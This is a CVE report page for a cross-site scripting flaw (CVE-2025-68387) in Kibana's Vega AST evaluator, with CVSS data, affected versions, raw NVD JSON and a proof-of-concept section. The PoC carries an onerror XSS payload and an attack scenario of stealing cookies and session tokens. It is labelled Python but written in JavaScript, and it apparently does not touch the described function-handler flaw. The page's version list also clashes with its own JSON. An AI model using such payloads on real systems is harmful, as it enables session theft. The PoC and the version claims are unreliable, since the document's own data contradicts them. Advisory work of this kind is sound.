Security Vulnerability Report
中文
CVE-2025-68387 CVSS 6.1 MEDIUM

CVE-2025-68387

Published: 2025-12-18 23:15:49
Last Modified: 2025-12-23 19:07:17

Description

Improper neutralization of input during web page generation ('Cross-site Scripting') (CWE-79) allows an unauthenticated user to embed a malicious script in content that will be served to web browsers causing cross-site scripting (XSS) (CAPEC-63) via a vulnerability a function handler in the Vega AST evaluator.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
Kibana 8.19.9 及之前版本
Kibana 9.1.9 及之前版本
Kibana 9.2.3 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68387 PoC - Malicious Vega specification with XSS payload // This PoC demonstrates how an attacker could inject JavaScript through Vega AST evaluator const maliciousVegaSpec = { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 400, "height": 200, "data": [ { "name": "table", "values": [ {"category": "A", "amount": 28}, {"category": "B", "amount": 55} ] } ], "signals": [ { "name": "xss_payload", "value": "<img src=x onerror=alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,54,56,51,56,55))>" } ], "marks": [ { "type": "text", "encode": { "enter": { "x": {"field": "width", "multiply": 0.5}, "y": {"field": "height", "multiply": 0.5}, "text": {"signal": "xss_payload"}, "fontSize": {"value": 20} } } } ] }; // Attack scenario: // 1. Attacker creates a malicious Kibana visualization using Vega // 2. Attacker shares the visualization link or embeds it // 3. When victim views the visualization, the XSS payload executes // 4. Attacker can steal cookies, session tokens, or perform actions on behalf of victim

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68387", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.300", "lastModified": "2025-12-23T19:07:16.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('Cross-site Scripting') (CWE-79) allows an unauthenticated user to embed a malicious script in content that will be served to web browsers causing cross-site scripting (XSS) (CAPEC-63) via a vulnerability a function handler in the Vega AST evaluator."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "8820B4BC-0DAB-4C9B-8053-90DE2C19646E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "33557C22-9E8F-420F-9570-862845627924"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "EAC361A2-7443-4A76-BD9E-7284591FECA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "34F2DE99-71FA-4E13-BE2E-4824C8471F96"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-35/384183", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}